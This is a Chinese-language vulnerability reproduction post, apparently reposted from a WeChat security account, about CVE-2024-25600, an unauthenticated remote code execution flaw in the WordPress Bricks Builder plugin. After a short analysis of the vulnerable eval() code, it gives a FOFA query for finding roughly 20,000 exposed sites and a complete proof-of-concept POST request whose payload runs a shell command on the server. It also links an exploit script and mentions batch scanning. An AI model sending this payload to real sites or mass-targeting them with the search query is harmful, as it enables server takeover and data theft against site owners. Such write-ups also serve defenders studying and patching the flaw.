技术分析
该漏洞的存在是由于 Bricks Builder 插件中 PHP 的 eval() 函数的不当使用造成的。受影响的代码可以在BricksQuery类中找到,特别是在prepare_query_vars_from_settings 方法中。在此方法中,名为 $php_query_raw 的变量被传递给 eval() 函数,该函数允许攻击者在目标服务器上执行任意 PHP 代码。
代码示例:
public static function prepare_query_vars_from_settings ( $settings = [], $fallback_element_id = '' )
{
$execute_user_code = function ( ) use ( $php_query_raw ) {
$user_result = null ; // 初始化一个变量来捕获用户代码的结果
// 使用输出缓冲捕获用户代码输出
ob_start ();
$user_result = eval ( $php_query_raw ); // 执行用户代码——罪魁祸首
ob_get_clean (); // 获取捕获的输出
return $user_result ; // 返回用户代码结果
};
}
影响范围
Bricks Builder 版本 <= 1.9.6 中未经身份验证的 RCE 漏洞允许攻击者在目标服务器上执行任意命令。可能会导致受影响的 WordPress 站点完全受到攻击,从而导致未经授权的访问、数据盗窃以及进一步利用服务器进行恶意目的。由于该漏洞可以被未经身份验证的用户利用,因此攻击面明显更广,使大量网站面临潜在的利用风险。
漏洞复现
fofa:body="/wp-content/themes/bricks/"
可以看到存在数量2w+,不少。
先获取网站nonce值
POC:替换[HOST]为目标网站和[NONCE]
POST /wp-json/bricks/v1/render_element HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Content-Length: 356
Content-Type: application/json
Accept-Encoding: gzip
{
"postId": "1",
"nonce": "上一步获取的nonce值",
"element": {
"name": "container",
"settings": {
"hasLoop": "true",
"query": {
"useQueryEditor": true,
"queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
"objectType": "post"
}
}
}
}
批量验证:
nuclei模板批量验证:
python脚本批量验证:
项目地址
脚本:https://github.com/Chocapikk/CVE-2024-25600#/
原文始发于微信公众号(大仙安全说):漏洞复现-WordPres RCE(CVE-2024-25600)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论